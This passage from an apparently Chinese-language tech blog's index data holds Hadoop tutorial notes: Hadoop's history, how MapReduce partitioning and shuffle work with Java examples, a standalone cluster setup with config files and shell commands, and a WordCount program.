MapReduce 和 Hadoop Distributed File System (HDFS) 成为 Hadoop 项目的独立子项目。2009 年 7 月 —— Avro 和 Chukwa 成为 Hadoop 新的子项目。2009 年 9 月 —— 亚联 BI 团队开始跟踪研究 Hadoop2009 年 12 月 —— 亚联提出橘云战略，开始研究 Hadoop2010 年 5 月 —— Avro 脱离 Hadoop 项目，成为 Apache 顶级项目。2010 年 5 月 —— HBase 脱离 Hadoop 项目，成为 Apache 顶级项目。2010 年 5 月 —— IBM 提供了基于 Hadoop 的大数据分析软件 ——InfoSphere Biglnsights，包括基础版和企业版。2010 年 9 月 —— Hive (Facebook) 脱离 Hadoop，成为 Apache 顶级项目。2010 年 9 月 —— Pig 脱离 Hadoop，成为 ApacheJ 顶级项目。2011 年 1 月 —— zooKeeper 脱离 Hadoop，成为 Apache 顶级项目。2011 年 3 月 —— Apache Hadoop 获得 Media Guardian Innovation Awards。2011 年 3 月 —— Platform Computing 宣布在它的 Symphony 软件中支持 Hadoop MapReduce APl。2011 年 5 月 —— Mapr Technologies 公司推出分布式文件系统和 MapReduce 引擎 ——MapR Distribution for Apache Hadoop。2011 年 5 月 —— HCatalog 1.0 发布。该项目由 Hortonworks 在 2010 年 3 月份提出，HCatalog 主要用于解决数据存储、元数据的问题，主要解决 HDFS 的瓶颈，它提供了一个地方来存储数据的状态信息，这使得数据清理和归档工具可以很容易的进行处理。2011 年 4 月 —— SGI (Silicon Graphics International) 基于 SGI Rackable 和 CloudRack 服务器产品线提供 Hadoop 优化的解决方案。 Hadoop 的历史版本介绍0.x 系列版本：hadoop 当中最早的一个开源版本，在此基础上演变而来的 1.x 以及 2.x 的版本 1.x 版本系列：hadoop 版本当中的第二代开源版本，主要修复 0.x 版本的一些 bug 等 2.x 版本系列：架构产生重大变化，引入了 yarn 平台等许多新特性 三大公司发行版本免费开源版本 Apachehttp://hadoop.apache.org/ 优点：拥有全世界的开源贡献者，代码更新迭代版本比较快 缺点：版本的升级，版本的维护，版本的兼容性，版本的补丁都可能考虑不太周到，学习可以用，实际生产工作环境尽量不要使用 apache 所有软件的下载地址（包括各种历史版本）： http://archive.apache.org/dist/ 免费开源版本 HortonWorkshttps://hortonworks.com/ hortonworks 主要是雅虎主导 Hadoop 开发的副总裁，带领二十几个核心成员成立 Hortonworks，核心产品软件 HDP（ambari），HDF 免费开源，并且提供一整套的 web 管理界面，供我们可以通过 web 界面管理我们的集群状态，web 管理界面软件 HDF 网址（http://ambari.apache.org/） 软件收费版本 ClouderaManagerhttps://www.cloudera.com/ cloudera 主要是美国一家大数据公司在 apache 开源 hadoop 的版本上，通过自己公司内部的各种补丁，实现版本之间的稳定运行，大数据生态圈的各个版本的软件都提供了对应的版本，解决了版本的升级困难，版本兼容性等各种问题，生产环境强烈推荐使用"},{"title":"","date":"2019-09-19T08:38:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/mapreduce-mechanism.html","permalink":"https://blog.mhuig.top/notes/Hadoop/mapreduce-mechanism","excerpt":"","text":"MapReduce 运行机制 大数据处理技术 -Hadoop-MapReduce 的运行机制 Partitioner在 MapReduce 中，通过我们指定分区，会将同一个分区的数据发送到同一个 reduce 当中进行处理，例如我们为了数据的统计，我们可以把一批类似的数据发送到同一个 reduce 当中去，在同一个 reduce 当中统计相同类型的数据，就可以实现类似数据的分区，统计等说白了就是相同类型的数据，送到一起去处理，在 reduce 当中默认分区只有 1 个。MapReduce 当中的分区类图 需求：将以下数据进行分开处理详细数据参见 partition.csv 这个文本文件，其中第五个字段表示开奖结果数值，现在需求将 15 以上的结果以及 15 以下的结果进行分开成两个文件进行保存 注意：分区的案例，只能打成 jar 包发布到集群上面去运行，本地模式已经不能正常运行了 第一步：定义 mapper我们这里的 mapper 程序不做任何逻辑，也不对 key，与 value 做任何改变，只是接收我们的数据，然后往下发送 public class MyMapper extends Mapper<LongWritable,Text,Text,NullWritable>{ @Override protected void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { context.write(value,NullWritable.get()); }} 第二步：定义 reducer 逻辑我们的 reducer 也不做任何处理，将我们的数据原封不动的输出即可 public class MyReducer extends Reducer<Text,NullWritable,Text,NullWritable> { @Override protected void reduce(Text key, Iterable<NullWritable> values, Context context) throws IOException, InterruptedException { context.write(key,NullWritable.get()); }} 第三步：自定义 partitioner/*** 这里的输入类型与我们 map 阶段的输出类型相同*/public class MyPartitioner extends Partitioner<Text,NullWritable>{ /** * 返回值表示我们的数据要去到哪个分区 * 返回值只是一个分区的标记，标记所有相同的数据去到指定的分区 */ @Override public int getPartition(Text text, NullWritable nullWritable, int i) { String result = text.toString().split(\"\\t\")[5]; System.out.println(result); if (Integer.parseInt(result) > 15){ return 1; }else{ return 0; } }} 第四步：程序 main 函数入口public class PartitionMain extends Configured implements Tool { public static void main(String[] args) throws Exception{ int run = ToolRunner.run(new Configuration(), new PartitionMain(), args); System.exit(run); } @Override public int run(String[] args) throws Exception { Job job = Job.getInstance(super.getConf(),PartitionMain.class.getSimpleName()); job.setJarByClass(PartitionMain.class); job.setInputFormatClass(TextInputFormat.class); job.setOutputFormatClass(TextOutputFormat.class); TextInputFormat.addInputPath(job,new Path(\"hdfs://192.168.52.100:8020/partitioner\")); TextOutputFormat.setOutputPath(job,new Path(\"hdfs://192.168.52.100:8020/outpartition\")); job.setMapperClass(MyMapper.class); job.setMapOutputKeyClass(Text.class); job.setMapOutputValueClass(NullWritable.class); job.setOutputKeyClass(Text.class); job.setMapOutputValueClass(NullWritable.class); job.setReducerClass(MyReducer.class); /** * 设置我们的分区类，以及我们的 reducetask 的个数，注意 reduceTask 的个数一定要与我们的 * 分区数保持一致 */ job.setPartitionerClass(MyPartitioner.class); job.setNumReduceTasks(2); boolean b = job.waitForCompletion(true); return b?0:1; }} MapTask 整个 Map 阶段流程大体如上图所示。简单概述：inputFile 通过 split 被逻辑切分为多个 split 文件，通过 Record 按行读取内容给 map（用户自己实现的）进行处理，数据被 map 处理结束之后交给 OutputCollector收集器，对其结果 key 进行分区（默认使用 hash 分区），然后写入 buffer，每个 map task 都有一个内存缓冲区，存储着 map 的输出结果，当缓冲区快满的时候需要将缓冲区的数据以一个临时文件的方式存放到磁盘，当整个 map task 结束后再对磁盘中这个 map task 产生的所有临时文件做合并，生成最终的正式输出文件，然后等待 reduce task 来拉数据。 详细步骤： 1、 首先，读取数据组件 InputFormat （默认 TextInputFormat ）会通过 getSplits 方法对输入目录中文件进行逻辑切片规划得到 splits，有多少个 split 就对应启动多少个 MapTask 。split 与 block 的对应关系默认是一对一。 2、 将输入文件切分为 splits 之后，由 RecordReader 对象（默认 LineRecordReader ）进行读取，以 \\n 作为分隔符，读取一行数据，返回<key，value>。Key 表示每行首字符偏移值，value 表示这一行文本内容。 3、 读取 split 返回<key,value>，进入用户自己继承的 Mapper 类中，执行用户重写的 map 函数。RecordReader读取一行这里调用一次。 4、 map 逻辑完之后，将 map 的每条结果通过 context.write 进行 collect 数据收集。在 collect 中，会先对其进行分区处理，默认使用HashPartitioner。MapReduce 提供 Partitioner 接口，它的作用就是根据 key 或 value 及 reduce 的数量来决定当前的这对输出数据最终应该交由哪个 reduce task 处理。默认对 keyhash 后再以 reduce task 数量取模。默认的取模方式只是为了平均 reduce 的处理能力，如果用户自己对 Partitioner 有需求，可以订制并设置到 job 上。 5、接下来，会将数据写入内存，内存中这片区域叫做环形缓冲区，缓冲区的作用是批量收集 map 结果，减少磁盘 IO 的影响。我们的 key / value 对以及 Partition 的结果都会被写入缓冲区。当然写入之前，key 与 value 值都会被序列化成字节数组。 环形缓冲区其实是一个数组，数组中存放着 key、value 的序列化数据和 key、value 的元数据信息，包括 partition、key 的起始位置、value 的起始位置以及 value 的长度。环形结构是一个抽象概念。 缓冲区是有大小限制，默认是 100MB。当 map task 的输出结果很多时，就可能会撑爆内存，所以需要在一定条件下将缓冲区中的数据临时写入磁盘，然后重新利用这块缓冲区。这个从内存往磁盘写数据的过程被称为 Spill，中文可译为溢写。这个溢写是由单独线程来完成，不影响往缓冲区写 map 结果的线程。溢写线程启动时不应该阻止 map 的结果输出，所以整个缓冲区有个溢写的比例 spill.percent。这个比例默认是0.8，也就是当缓冲区的数据已经达到阈值（buffer size * spill percent = 100MB * 0.8 = 80MB），溢写线程启动，锁定这 80MB 的内存，执行溢写过程。Map task的输出结果还可以往剩下的 20MB 内存中写，互不影响。 6、当溢写线程启动后，需要对这 80MB 空间内的key做 排序 Sort。排序是 MapReduce 模型默认的行为，这里的排序也是对序列化的字节做的排序。 如果 job 设置过Combiner，那么现在就是使用 Combiner 的时候了。将有相同 key 的key/value对的 value 加起来，减少溢写到磁盘的数据量。Combiner会优化 MapReduce 的中间结果，所以它在整个模型中会多次使用。 那哪些场景才能使用 Combiner 呢？从这里分析，Combiner 的输出是 Reducer 的输入，Combiner 绝不能改变最终的计算结果。Combiner 只应该用于那种Reduce的输入key/value与输出key/value类型完全一致，且不影响最终结果的场景。比如累加，最大值等。Combiner 的使用一定得慎重，如果用好，它对 job 执行效率有帮助，反之会影响 reduce 的最终结果。 7、合并溢写文件： 每次溢写会在磁盘上生成一个临时文件（写之前判断是否有combiner），如果 map 的输出结果真的很大，有多次这样的溢写发生，磁盘上相应的就会有多个临时文件存在。当整个数据处理结束之后开始对磁盘中的临时文件进行 merge 合并，因为最终的文件只有一个，写入磁盘，并且为这个文件提供了一个索引文件，以记录每个 reduce 对应数据的偏移量。至此 map 整个阶段结束。 mapTask 的一些基础设置配置（mapred-site.xml 当中）：http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.14.0/hadoopmapreduce-client/hadoop-mapreduce-client-core/mapred-default.xml 设置一：设置环型缓冲区的内存值大小（默认设置如下） mapreduce.task.io.sort.mb 100 设置二：设置溢写百分比（默认设置如下） mapreduce.map.sort.spill.percent 0.80 设置三：设置溢写数据目录（默认设置） mapreduce.cluster.local.dir ${hadoop.tmp.dir}/mapred/local 设置四：设置一次最多合并多少个溢写文件（默认设置如下） mapreduce.task.io.sort.factor 10 ReduceTask Reduce 大致分为 copy、sort、reduce 三个阶段，重点在前两个阶段。copy 阶段包含一个 eventFetcher 来获取已完成的 map 列表，由 Fetcher 线程去 copy 数据，在此过程中会启动两个 merge 线 程 ， 分 别 为 inMemoryMerger 和 onDiskMerger，分别将内存中的数据 merge 到磁盘和将磁盘中的数据进行 merge。待数据 copy 完成之后，copy 阶段就完成了，开始进行 sort 阶段，sort 阶段主要是执行 finalMerge 操作，纯粹的 sort 阶段。完成之后就是 reduce 阶段，调用用户定义的 reduce 函数进行处理。 详细步骤： 1、Copy 阶段，简单地拉取数据。Reduce 进程启动一些数据 copy 线程 (Fetcher)，通过 HTTP 方式请求 maptask 获取属于自己的文件。2、Merge 阶段。这里的 merge 如 map 端的 merge 动作，只是数组中存放的是不同 map 端 copy 来的数值。Copy 过来的数据会先放入内存缓冲区中，这里的缓冲区大小要比 map 端的更为灵活。merge 有三种形式：内存到内存；内存到磁盘；磁盘到磁盘。默认情况下第一种形式不启用。当内存中的数据量到达一定阈值，就启动内存到磁盘的 merge。与 map 端类似，这也是溢写的过程，这个过程中如果你设置有 Combiner，也是会启用的，然后在磁盘中生成了众多的溢写文件。第二种 merge 方式一直在运行，直到没有 map 端的数据时才结束，然后启动第三种磁盘到磁盘的 merge 方式生成最终的文件。3、合并排序。把分散的数据合并成一个大的数据后，还会再对合并后的数据排序。4、对排序后的键值对调用 reduce 方法，键相等的键值对调用一次 reduce 方法，每次调用会产生零个或者多个键值对，最后把这些输出的键值对写入到 HDFS 文件中。 Shufflemap 阶段处理的数据如何传递给 reduce 阶段，是 MapReduce 框架中最关键的一个流程，这个流程就叫 shuffle。shuffle: 洗牌、发牌 ——（核心机制：数据分区，排序，分组，规约，合并等过程）。 shuffle 是 Mapreduce 的核心，它分布在 Mapreduce 的 map 阶段和 reduce 阶段。一般把从 Map 产生输出开始到 Reduce 取得数据作为输入之前的过程称作 shuffle。 Collect 阶段：将 MapTask 的结果输出到默认大小为 100M 的环形缓冲区，保存的是 key/value，Partition 分区信息等。 Spill 阶段：当内存中的数据量达到一定的阀值的时候，就会将数据写入本地磁盘，在将数据写入磁盘之前需要对数据进行一次排序的操作，如果配置了combiner，还会将有相同分区号和 key 的数据进行排序。 Merge 阶段：把所有溢出的临时文件进行一次合并操作，以确保一个 MapTask 最终只产生一个中间数据文件。 Copy 阶段：ReduceTask 启动 Fetcher 线程到已经完成 MapTask 的节点上复制一份属于自己的数据，这些数据默认会保存在内存的缓冲区中，当内存的缓冲区达到一定的阀值的时候，就会将数据写到磁盘之上。 Merge 阶段：在 ReduceTask 远程复制数据的同时，会在后台开启两个线程对内存到本地的数据文件进行合并操作。 Sort 阶段：在对数据进行合并的同时，会进行排序操作，由于 MapTask 阶段已经对数据进行了局部的排序，ReduceTask 只需保证 Copy 的数据的最终整体有效性即可。 Shuffle 中的缓冲区大小会影响到 mapreduce 程序的执行效率，原则上说，缓冲区越大，磁盘 io 的次数越少，执行速度就越快缓冲区的大小可以通过参数调整, 参数：mapreduce.task.io.sort.mb 默认 100M"},{"title":"","date":"2019-09-19T08:38:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/mapreduce.html","permalink":"https://blog.mhuig.top/notes/Hadoop/mapreduce","excerpt":"","text":"MapReduce 大数据处理技术 -Hadoop-MapReduce 理解 MapReduce 思想MapReduce 思想在生活中处处可见。或多或少都曾接触过这种思想。MapReduce 的思想核心是 “分而治之”，适用于大量复杂的任务处理场景（大规模数据处理场景）。即使是发布过论文实现分布式计算的谷歌也只是实现了这种思想，而不是自己原创。 Map 负责 “分”，即把复杂的任务分解为若干个 “简单的任务” 来并行处理。可以进行拆分的前提是这些小任务可以并行计算，彼此间几乎没有依赖关系。Reduce 负责 “合”，即对 map 阶段的结果进行全局汇总。 这两个阶段合起来正是 MapReduce 思想的体现。 还有一个比较形象的语言解释 MapReduce：我们要数图书馆中的所有书。你数 1 号书架，我数 2 号书架。这就是 Map。我们人越多，数书就更快。现在我们到一起，把所有人的统计数加在一起。这就是Reduce。 Hadoop MapReduce 设计构思MapReduce 是一个分布式运算程序的编程框架，核心功能是将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序，并发运行在 Hadoop 集群上。既然是做计算的框架，那么表现形式就是有个输入 input，MapReduce 操作这个输入 input，通过本身定义好的计算模型，得到一个输出 output。对许多开发者来说，自己完完全全实现一个并行计算程序难度太大，而 MapReduce 就是一种简化并行计算的编程模型，降低了开发并行应用的入门门槛。 Hadoop MapReduce 构思体现在如下的三个方面： 如何对付大数据处理：分而治之对相互间不具有计算依赖关系的大数据，实现并行最自然的办法就是采取分而治之的策略。并行计算的第一个重要问题是如何划分计算任务或者计算数据以便对划分的子任务或数据块同时进行计算。不可分拆的计算任务或相互间有依赖关系的数据无法进行并行计算！ 构建抽象模型：Map 和 ReduceMapReduce 借鉴了函数式语言中的思想，用 Map 和 Reduce 两个函数提供了高层的并行编程抽象模型。Map: 对一组数据元素进行某种重复式的处理；Reduce: 对 Map 的中间结果进行某种进一步的结果整理。MapReduce 中定义了如下的 Map 和 Reduce 两个抽象的编程接口，由用户去编程实现: map: (k1; v1) → [(k2; v2)]reduce: (k2; [v2]) → [(k3; v3)] Map 和 Reduce 为程序员提供了一个清晰的操作接口抽象描述。通过以上两个编程接口，大家可以看出 MapReduce 处理的数据类型是<key,value>键值对。 统一构架，隐藏系统层细节如何提供统一的计算框架，如果没有统一封装底层细节，那么程序员则需要考虑诸如数据存储、划分、分发、结果收集、错误恢复等诸多细节；为此，MapReduce 设计并提供了统一的计算框架，为程序员隐藏了绝大多数系统层面的处理细节。MapReduce 最大的亮点在于通过抽象模型和计算框架把需要做什么 whatneed to do 与具体怎么做 how to do 分开了，为程序员提供一个抽象和高层的编程接口和框架。程序员仅需要关心其应用层的具体计算问题，仅需编写少量的处理应用本身计算问题的程序代码。如何具体完成这个并行计算任务所相关的诸多系统层细节被隐藏起来, 交给计算框架去处理：从分布代码的执行，到大到数千小到单个节点集群的自动调度使用。 MapReduce 框架结构一个完整的 mapreduce 程序在分布式运行时有三类实例进程： 1、MRAppMaster：负责整个程序的过程调度及状态协调 2、MapTask：负责 map 阶段的整个数据处理流程 3、ReduceTask：负责 reduce 阶段的整个数据处理流程 MapReduce 编程规范MapReduce 编程模型的总结：MapReduce 的开发一共有八个步骤其中 map 阶段分为 2 个步骤，shuffle 阶段 4 个步骤，reduce 阶段分为 2 个步骤 Map 阶段 2 个步骤第一步：设置 inputFormat 类，将我们的数据切分成 key，value 对，输入到第二步第二步：自定义 map 逻辑，处理我们第一步的输入数据，然后转换成新的 key，value 对进行输出 shuffle 阶段 4 个步骤（可以全部不用管）第三步：对输出的 key，value 对进行分区第四步：对不同分区的数据按照相同的 key 进行排序第五步：对分组后的数据进行规约 (combine 操作)，降低数据的网络拷贝（可选步骤）第六步：对排序后的额数据进行分组，分组的过程中，将相同 key 的 value 放到一个集合当中 reduce 阶段 2 个步骤第七步：对多个 map 的任务进行合并，排序，写 reduce 函数自己的逻辑，对输入的 key，value 对进行处理，转换成新的 key，value 对进行输出第八步：设置 outputformat 将输出的 key，value 对数据进行保存到文件中"},{"title":"","date":"2022-05-10T02:47:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Hadoop/index.html","permalink":"https://blog.mhuig.top/notes/Hadoop/","excerpt":".fa-secondary{opacity:.4} Hadoop","text":".fa-secondary{opacity:.4} Hadoop Hadoop .prev-next{ display: none !important; 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/export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatas2mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/nn/editsmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/snn/namemkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/dfs/snn/edits 修改 slaves 文件，然后将安装包发送到其他机器，重新启动集群即可第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim slaves slavesnode01node02node03 安装包的分发第一台机器执行以下命令 cd /export/servers/scp -r hadoop-2.7.5 node02:$PWDscp -r hadoop-2.7.5 node03:$PWD 启动集群第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5bin/hdfs namenode -formatsbin/start-dfs.shsbin/start-yarn.shsbin/mr-jobhistory-daemon.sh start historyserver 第一台 jps 后： 第二台：jps 后: 第三台 jps 后："},{"title":"","date":"2019-09-19T08:26:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/stand-alone.html","permalink":"https://blog.mhuig.top/notes/Hadoop/stand-alone","excerpt":"","text":"StandAlone 大数据处理技术 - apache hadoop 三种架构介绍（StandAlone) hadoop 文档: http://hadoop.apache.org/docs/ StandAlone 环境搭建 运行服务 服务器 IP NameNode 192.168.52.100 SecondaryNameNode 192.168.52.100 DataNode 192.168.52.100 ResourceManager 192.168.52.100 NodeManager 192.168.52.100 第一步：下载 apache hadoop 并上传到服务器下载链接： http://archive.apache.org/dist/hadoop/common/hadoop-2.7.5/hadoop2.7.5.tar.gz 解压命令 cd /export/softwarestar -zxvf hadoop-2.7.5.tar.gz -C ../servers/ hadoop 安装包结构hadoop-2.7.5/bin: 一些 shell 脚本，供我们使用hadoop-2.7.5/sbin: 一些 shell 脚本，供我们使用hadoop-2.7.5/etc/hadoop: 所有的配置文件的路径hadoop-2.7.5/lib/native: 本地的 C 程序库 hadoop 六个核心配置文件的作用core-site.xml：核心配置文件，主要定义了我们文件访问的格式 hdfs://hadoop-env.sh：主要配置我们的 java 路径hdfs-site.xml：主要定义配置我们的 hdfs 的相关配置mapred-site.xml 主要定义我们的 mapreduce 相关的一些配置slaves：控制我们的从节点在哪里 datanode nodemanager 在哪些机器上yarn-site.xml：配置我们的 resourcemanager 资源调度 第二步：修改配置文件打开 notepad++ 修改 core-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim core-site.xml http://archive.cloudera.com/cdh5/cdh/5/hadoop-2.6.0-cdh5.14.0/ 定义文件系统的实现 file:/// 本地文件系统 hdfs://分布式文件系统 core-site.xml<configuration> <property> <name>fs.default.name</name> <value>hdfs://192.168.52.100:8020</value> </property> <property> <name>hadoop.tmp.dir</name> <value>/export/servers/hadoop2.7.5/hadoopDatas/tempDatas</value> </property> <!-- 缓冲区大小，实际工作中根据服务器性能动态调整 --> <property> <name>io.file.buffer.size</name> <value>4096</value> </property> <!-- 开启 hdfs 的垃圾桶机制，删除掉的数据可以从垃圾桶中回收，单位分钟 --> <property> <name>fs.trash.interval</name> <value>10080</value> </property></configuration> 修改 hdfs-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hdfs-site.xml hdfs-site.xml<configuration> <property> <name>dfs.namenode.secondary.http-address</name> <value>node01:50090</value> </property> <property> <name>dfs.namenode.http-address</name> <value>node01:50070</value> </property> <property> <name>dfs.namenode.name.dir</name> <value>file:///export/servers/hadoop2.7.5/hadoopDatas/namenodeDatas,file:///export/servers/hadoop2.7.5/hadoopDatas/namenodeDatas2</value> </property> <!-- 定义 dataNode 数据存储的节点位置，实际工作中，一般先确定磁盘的挂载目录，然后多个目录用，进行分割 --> <property> <name>dfs.datanode.data.dir</name> <value>file:///export/servers/hadoop2.7.5/hadoopDatas/datanodeDatas,file:///export/servers/hadoop2.7.5/hadoopDatas/datanodeDatas2</value> </property> <property> <name>dfs.namenode.edits.dir</name> <value>file:///export/servers/hadoop2.7.5/hadoopDatas/nn/edits</value> </property> <property> <name>dfs.namenode.checkpoint.dir</name> <value>file:///export/servers/hadoop2.7.5/hadoopDatas/snn/name</value> </property> <property> <name>dfs.namenode.checkpoint.edits.dir</name> <value>file:///export/servers/hadoop2.7.5/hadoopDatas/dfs/snn/edits</value> </property> <property> <name>dfs.replication</name> <value>3</value> </property> <property> <name>dfs.permissions</name> <value>false</value> </property> <property> <name>dfs.blocksize</name> <value>134217728</value> </property></configuration> 修改 hadoop-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim hadoop-env.sh hadoop-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 修改 mapred-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim mapred-site.xml mapred-site.xml<configuration> <property> <name>mapreduce.framework.name</name> <value>yarn</value> </property> <property> <name>mapreduce.job.ubertask.enable</name> <value>true</value> </property> <property> <name>mapreduce.jobhistory.address</name> <value>node01:10020</value> </property> <property> <name>mapreduce.jobhistory.webapp.address</name> <value>node01:19888</value> </property></configuration> 修改 yarn-site.xml第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim yarn-site.xml yarn-site.xml<configuration> <property> <name>yarn.resourcemanager.hostname</name> <value>node01</value> </property> <property> <name>yarn.nodemanager.aux-services</name> <value>mapreduce_shuffle</value> </property> <property> <name>yarn.log-aggregation-enable</name> <value>true</value> </property> <property> <name>yarn.log-aggregation.retain-seconds</name> <value>604800</value> </property></configuration> 修改 mapred-env.sh第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim mapred-env.sh mapred-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 修改 slaves第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/etc/hadoopvim slaves slaveslocalhost 第三步：启动集群要启动 Hadoop 集群，需要启动 HDFS 和 YARN 两个模块。注意： 首次启动 HDFS 时，必须对其进行格式化操作。 本质上是一些清理和准备工作，因为此时的 HDFS 在物理上还是不存在的。 cd /export/servers/hadoop-2.7.5/binhdfs namenode -format 启动命令：创建数据存放文件夹第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/tempDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/namenodeDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/namenodeDatas2mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatasmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/datanodeDatas2mkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/nn/editsmkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/snn/namemkdir -p /export/servers/hadoop-2.7.5/hadoopDatas/dfs/snn/edits 准备启动第一台机器执行以下命令 cd /export/servers/hadoop-2.7.5/sbin/start-dfs.sh sbin/start-yarn.sh sbin/mr-jobhistory-daemon.sh start historyserver 三个端口查看界面 http://192.168.52.100:50070/explorer.html#/ 查看 hdfs 绿色的！ http://192.168.52.100:8088/cluster 查看 yarn 集群 http://192.168.52.100:19888/jobhistory 查看历史完成的任务"},{"title":"","date":"2019-09-19T08:39:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hadoop/wordcount.html","permalink":"https://blog.mhuig.top/notes/Hadoop/wordcount","excerpt":"","text":"MapReduce WordCount 大数据处理技术 -Hadoop-MapReduce 编程模型 - WordCount 实例分析 WordCount 示例编写需求：在一堆给定的文本文件中统计输出每一个单词出现的总次数数据格式准备如下： hadoop,hive,hbasehive,stormhive,hbase,kafkaspark,flume,kafka,stormhbase,hadoop,hbasehive,spark,storm 定义 mapper 类WordCountMapper.javapackage com.qst.wordcount;import org.apache.hadoop.io.IntWritable;import org.apache.hadoop.io.LongWritable;import org.apache.hadoop.io.Text;import org.apache.hadoop.mapreduce.Mapper;import java.io.IOException;/*** mapper 类继承 Mapper 表示我们的这个 class 类是一个标准的 mapper 类，需要四个泛型* k1 v1 k2 v2*/public class WordCountMapper extends Mapper<LongWritable,Text,Text,IntWritable>{ Text text = new Text(); IntWritable intWritable = new IntWritable(); /** * 覆写父类的 map 方法，每一行数据要调用一次 map 方法，我们的处理逻辑都写在这个 map 方法里面 * @param key * @param value * @param context * @throws IOException * @throws InterruptedException * hdfs 的最原始数据 hadoop,hive,hbase hive,storm hive,hbase,kafka spark,flume,kafka,storm hbase,hadoop,hbase hive,spark,storm 经过第一步：TextInputFormat 之后 0 hadoop,hive,hbase 17 hive,storm 27 hive,hbase,kafka */ /** * @param key 我们的 key1 行偏移量 ，一般没啥用，直接可以丢掉 * @param value 我们的 value1 行文本内容，需要切割，然后转换成新的 k2 v2 输出 * @param context 上下文对象，承接上文，把数据传输给下文 * @throws IOException * @throws InterruptedException */ @Override protected void map(LongWritable key, Text value, Context context) throws IOException, InterruptedException { /* hadoop,hive,hbase hive,storm hive,hbase,kafka spark,flume,kafka,storm hbase,hadoop,hbase hive,spark,storm */ String line = value.toString(); String[] split = line.split(\",\"); //遍历我们切割出来的单词 for (String word : split) { text.set(word); intWritable.set(1); //写出我们的 k2 v2 这里的类型跟我们的 k2 v2 保持一致 context.write(text,intWritable); } }} 定义 reducer 类WordCountReducer.javapackage com.qst.wordcount;import org.apache.hadoop.io.IntWritable;import org.apache.hadoop.io.Text;import org.apache.hadoop.mapreduce.Reducer;import java.io.IOException;/*** 我们自定的 class 类继承 reducer 类表明我们这是一个标准的 reducer 类* 跟我们的 k2 v2 k3 v3 四个泛型*/public class WordCountReducer extends Reducer<Text,IntWritable,Text,IntWritable>{ /** * 覆写 reduce 方法， * @param key 接收的 key 是我们的 K2 * @param values 接收到 value 是一个集合 集合里面的数据类型是 v2 类型 * @param context 上下文对象，将我们的数据往外写 * @throws IOException * @throws InterruptedException */ /* hadoop,hive,hbase hive,storm hive,hbase,kafka spark,flume,kafka,storm hbase,hadoop,hbase hive,spark,storm hadoop <1,1> hive <1,1,1,1> hbase<1,1,1> */ @Override protected void reduce(Text key, Iterable<IntWritable> values, Context context) throws IOException, InterruptedException { int a = 0; for (IntWritable value : values) { int i = value.get(); a += i; } //将我们的数据写出去 context.write(key,new IntWritable(a)); }} 定义 main 方法jobMain.javapackage com.qst.wordcount;import org.apache.hadoop.conf.Configuration;import org.apache.hadoop.conf.Configured;import org.apache.hadoop.fs.Path;import org.apache.hadoop.io.IntWritable;import org.apache.hadoop.io.Text;import org.apache.hadoop.mapreduce.Job;import org.apache.hadoop.mapreduce.lib.input.TextInputFormat;import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat;import org.apache.hadoop.util.Tool;import org.apache.hadoop.util.ToolRunner;public class JobMain extends Configured implements Tool { @Override public int run(String[] args) throws Exception { //获取一个 job 对象，用于我们任务的组织，通过 job 对象将我们八个步骤组织到一起，提交给 yarn 集群运行 Job job = Job.getInstance(super.getConf(), \"xxx\"); //如果需要打包运行，一定得要加上这一句 job.setJarByClass(JobMain.class); //获取到我们的 job 对象之后，通过 job 对象来组织我们的八个 class 类到一起，然后提交给 yarn 集群运行即可 //第一步：读取文件，解析成 key,value 对，这里是 k1 v1 job.setInputFormatClass(TextInputFormat.class); //集群运行模式，从 hdfs 上面读取文件 // TextInputFormat.addInputPath(job,new Path(\"hdfs://node01:8020/wordcount\")); //使用本地模式来运行，从本地磁盘读取文件进行处理 TextInputFormat.addInputPath(job,new Path(\"file:///F:\\\\input\")); //第二步：自定义 map 逻辑，接收第一步的 k1,v1 转换成新的 k2 v2 进行输出 job.setMapperClass(WordCountMapper.class); //设置我们 key2 的类型 job.setMapOutputKeyClass(Text.class); //设置我们的 v2 类型 job.setMapOutputValueClass(IntWritable.class); /** * 第三到六步 * 第三步：分区 相同 key 的 value 发送到同一个 reduce 里面去，形成一个集合 * 第四步：排序 * 第五步：规约 * 第六步：分组 * 都省掉 */ //第七步：设置我们的 reduce 类，接受我们的 key2 v2 输出我们 k3 v3 job.setReducerClass(WordCountReducer.class); //设置我们 key3 输出的类型 job.setOutputKeyClass(Text.class); //设置我们 value3 的输出类型 job.setOutputValueClass(IntWritable.class); //第八步：设置我们的输出类 